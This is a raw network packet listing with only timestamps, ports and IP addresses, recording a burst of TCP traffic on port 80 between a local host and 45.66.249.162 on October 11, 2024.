Oct 11, 2024 22:32:38.016195059 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.016201973 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.016242027 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.016247988 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.016287088 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.016294956 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.016334057 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.016340971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.016382933 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.016386032 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.016429901 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.016434908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.016474962 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.016480923 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.016522884 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.016527891 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.016566038 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.016573906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.016611099 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.016619921 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.016659975 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.016664982 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.016705990 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.016710997 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.016752958 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.016755104 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.016803026 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.016808033 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.016846895 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.016849041 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.016890049 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.016896009 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.016937017 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.016943932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.016980886 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.016989946 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.017029047 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.017039061 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.017080069 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.017087936 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.017127991 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.017132998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.017173052 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.017178059 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.017218113 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.017224073 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.017265081 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.017272949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.017314911 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.017318964 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.017360926 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.017366886 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.017407894 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.017414093 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.017451048 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.017460108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.017498016 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.017507076 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.017549038 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.017554998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.017597914 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.017599106 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.017637014 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.017643929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.017683983 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.017688990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.017728090 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.017735958 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.017775059 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.017781019 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.017819881 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.017829895 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.017868042 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.164086103 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164145947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164167881 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164187908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164217949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164237976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164258003 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164263964 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.164279938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164302111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164324045 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164324045 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.164346933 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164354086 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.164371014 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.164377928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164397955 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164408922 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.164422035 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164434910 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.164443016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164469004 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.164472103 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164490938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164503098 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.164515018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164536953 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164556026 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.164563894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164586067 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164588928 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.164601088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164622068 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.164637089 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164654970 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164655924 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.164684057 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.164686918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164707899 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.164711952 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164732933 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164748907 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.164762020 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164782047 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164787054 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.164804935 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164819956 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.164825916 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164840937 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164851904 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.164871931 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164881945 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.164904118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164913893 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.164936066 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164944887 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.164958954 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.164974928 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.164978027 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165002108 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165002108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165023088 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165026903 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165041924 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165049076 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165065050 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165071011 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165086031 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165088892 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165107012 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165121078 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165127039 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165143013 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165155888 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165160894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165173054 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165185928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165194988 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165219069 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165225029 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165235996 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165258884 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165258884 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165278912 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165281057 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165298939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165302992 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165318966 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165324926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165339947 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165359020 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165368080 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165383101 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165395021 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165405035 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165414095 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165430069 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165441990 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165458918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165463924 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165488958 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165496111 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165509939 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165523052 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165537119 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165540934 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165591002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165607929 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165612936 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165626049 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165635109 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165652990 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165657997 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165672064 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165680885 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165693045 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165704012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165713072 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165725946 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165735006 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165749073 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165760994 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165771961 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165780067 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165796041 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165810108 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165812969 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165826082 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165843010 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165847063 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165863991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165889025 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165919065 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165941000 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165960073 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.165982962 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.165991068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.166002035 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.166021109 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.166021109 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.166038036 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.166062117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.166064024 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.166081905 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.166093111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.166101933 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.166115999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.166131020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.166136980 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.166152000 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.166160107 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.166171074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.166182041 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.166192055 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.166212082 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.166213989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.166229963 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.166253090 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.166253090 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.166271925 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.166275978 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.166292906 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.166299105 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.166315079 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.166333914 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.166389942 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.166418076 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.166430950 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.166438103 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.166448116 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.166475058 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.166575909 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.166594982 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.166615009 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.166619062 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.166635990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.166636944 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.166657925 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.166661978 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.166676998 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.166678905 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.166697979 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.166702986 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.166718960 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.166737080 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.315874100 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.315898895 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.315932035 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.315962076 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.315979958 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316005945 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316025019 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316040993 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.316138029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316164970 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316183090 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.316185951 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316205978 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316225052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316242933 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316258907 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316261053 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.316282034 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316302061 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316320896 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316323042 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.316378117 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316385984 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.316400051 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316420078 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316437960 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316437960 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.316457033 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316478014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316483021 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.316498041 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316509008 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.316515923 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316536903 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316544056 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.316556931 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316557884 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.316565037 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.316586971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316589117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.316607952 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316618919 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.316629887 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316638947 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.316651106 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316657066 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.316672087 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316680908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.316692114 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316709042 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.316714048 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316720009 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.316735029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.316744089 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.316761017 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.317035913 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.317075968 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.317150116 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.317167997 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.317182064 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.317213058 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.317214966 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.317234039 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.317238092 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.317255974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.317270994 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.317277908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.317291021 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.317308903 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.317317963 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.317329884 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.317339897 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.317349911 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.317363977 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.317372084 CEST	80	49707	45.66.249.162	192.168.2.8
